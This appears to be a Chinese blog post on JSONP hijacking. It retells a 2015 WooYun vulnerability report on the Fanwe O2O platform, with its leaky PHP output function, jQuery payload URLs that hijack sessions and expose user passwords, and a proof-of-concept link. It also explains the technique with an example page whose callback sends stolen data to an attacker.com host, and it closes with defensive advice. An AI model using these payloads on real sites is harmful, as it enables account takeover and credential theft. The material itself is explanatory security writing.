jsonp劫持

基础:

说说JSON和JSONP,也许你会豁然开朗,含jQuery用例    

JSONP 安全攻防技术

【技术分享】JSONP注入实战指南 

案例:

payload:

$.ajax({type:"get",url:"http://o2odemo.fanwe.net/mapi/index.php?ctl=synclogin&act=index&login_type=Sina&sina_id=ooooo&access_token=ooooo&r_type=3&callback=wooyun",dataType:"jsonp",jsonp:"callback",success:function(json){console.log(json);}});

wooyun-2015-0124949

/mapi/Lib/core/common.php中有 fanwe o2o的output函数:

/**
* 输出接口数据
* @param unknown_type $data 返回的接口数据
* @param unknown_type $status 当前状态 0/1
* @param unknown_type $info 当前消息 可选,为空时由客户端取默认提示(默认提示包含成功的默认提示与失败的默认提示)
*/
function output($data,$status=1,$info="")
{
header("Content-Type:text/html; charset=utf-8");
$r_type = intval($_REQUEST['r_type']);//返回数据格式类型; 0:base64;1;json_encode;2:array 3:jsonp
$data[CTL] = MODULE_NAME;
$data[ACT] = ACTION_NAME;
$data['status'] = $status;
$data['info'] = $info;
$data['city_name'] = $GLOBALS['city']['name'];
$data['return'] = 1; //弃用该返回,统一返回1
$data['sess_id'] = $GLOBALS['sess_id'];
if ($r_type == 0)
{
echo base64_encode(json_encode($data));
}
else if ($r_type == 1)
{
echo(json_encode($data));
}
else if ($r_type == 2)
{
print_r($data);
}
else if($r_type == 3)
{
$json = json_encode($data);
echo $_GET['callback']."(".$json.")";
}
exit;
}


这是一个通用的输出函数,所有/mpai下的输出全部由output输出。
我们可以看到,这里当$_REQUEST['r_type']==3的时候,输出格式为jsonp。
所以,如果$data中有敏感信息,即会造成jsonp劫持。
结果当前函数中就存在一个敏感信息:sess_id
$data['sess_id'] = $GLOBALS['sess_id'];
用户登陆后(fanwe o2o 默认用户账号密码都是fanwe,以这个用户为例),可劫持用户的session(http://o2odemo.fanwe.net/mapi/index.php?ctl=syncbind&act=index&login_type=Sina&access_token=ooooo&sina_id=ooooo&r_type=3&callback=wooyun):

QQ20150706-14@2x.png


继续深挖,刚才访问的这个URL(http://o2odemo.fanwe.net/mapi/index.php?ctl=syncbind&act=index&login_type=Sina&access_token=ooooo&sina_id=ooooo&r_type=3&callback=wooyun),实际上就是将账户fanwe绑定了sina_id为ooooo。
那么另外一处,我们可以直接用ooooo进行登录:
http://o2odemo.fanwe.net/mapi/index.php?ctl=synclogin&act=index&login_type=Sina&sina_id=ooooo&access_token=ooooo&r_type=3&callback=wooyun

QQ20150706-15@2x.png


如上图,可以直接劫持用户密码。
写了个POC证明问题。受害者登录http://o2odemo.fanwe.net,再访问该POC即会弹出他的账号、邮箱、密码:
http://mhz.pw/game/tx/fanweo2o.html

QQ20150706-16@2x.png

漏洞证明:

http://mhz.pw/game/tx/fanweo2o.html

QQ20150706-16@2x.png


### JSONP 劫持的原理 JSONP(JSON with Padding)是一种通过 `<script>` 标签绕过浏览器同源策略的技术。它的核心机制在于利用了 `<script>` 标签可以加载跨域资源的能力,而这种能力不受同源政策限制。然而,由于 JSONP 的设计缺陷,可能导致安全风险。 #### 原理分析 JSONP 请求通常由服务器返回一段 JavaScript 代码,这段代码会被客户端动态执行。假设存在一个支持 JSONP 的接口 `http://example.com/api?callback=foo`,该接口会返回如下形式的数据: ```javascript foo({"key": "value"}); ``` 这里的 `foo` 是客户端指定的一个函数名,用于处理返回的结果。如果攻击者能够控制回调函数的内容或者用户的访问环境,则可能引发安全性问题。 具体来说,JSONP 劫持主要依赖于以下几个条件: 1. **目标网站提供 JSONP 支持**:即允许用户自定义 callback 参数。 2. **受害者登录状态可被利用**:例如,攻击者能获取到受害者的 Cookie 或其他认证信息。 3. **恶意脚本注入**:攻击者可以在第三方页面中嵌入 `<script>` 标签指向目标 API 地址,并设置自己的回调函数名称。 一旦上述条件满足,攻击者就可以通过构造合适的 URL 和回调函数窃取敏感数据[^1]。 --- ### 利用方式 以下是典型的 JSONP 劫持过程描述: 1. **准备阶段** - 攻击者创建一个网页,在其中加入以下 HTML 片段: ```html <script> function maliciousCallback(data) { alert('Stolen data: ' + JSON.stringify(data)); // 将盗取的信息发送至远程服务器 var img = new Image(); img.src = "http://attacker.com/log?" + encodeURIComponent(JSON.stringify(data)); } </script> <script src="http://vulnerable-site.com/api?callback=maliciousCallback"></script> ``` 2. **触发阶段** - 当用户访问此恶意网页时,浏览器会向 `http://vulnerable-site.com/api?callback=maliciousCallback` 发起请求。 - 如果用户已登录到 `vulnerable-site.com` 并携带有效 Session ID (Cookie),那么响应将包含受保护的数据。 3. **后果** - 返回的数据会被传递给 `maliciousCallback()` 函数并被执行。 - 此过程中,敏感信息可能会泄露给攻击者。 需要注意的是,现代 Web 应用已经逐渐淘汰了纯 JSONP 方案,转而使用 CORS 来解决跨域资源共享需求,从而减少此类安全隐患的发生概率[^5]。 --- ### 防护措施建议 为了防止 JSONP 被滥用造成危害,可以从多个角度采取防护手段: - 不再对外公开支持任意参数命名的 JSONP 接口; - 对所有 GET 请求实施严格的 CSRF Token 校验; - 使用 HTTPS 加密通信链路以降低中间人攻击的风险; - 教育开发者避免在生产环境中暴露未授权即可调用的服务端点。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值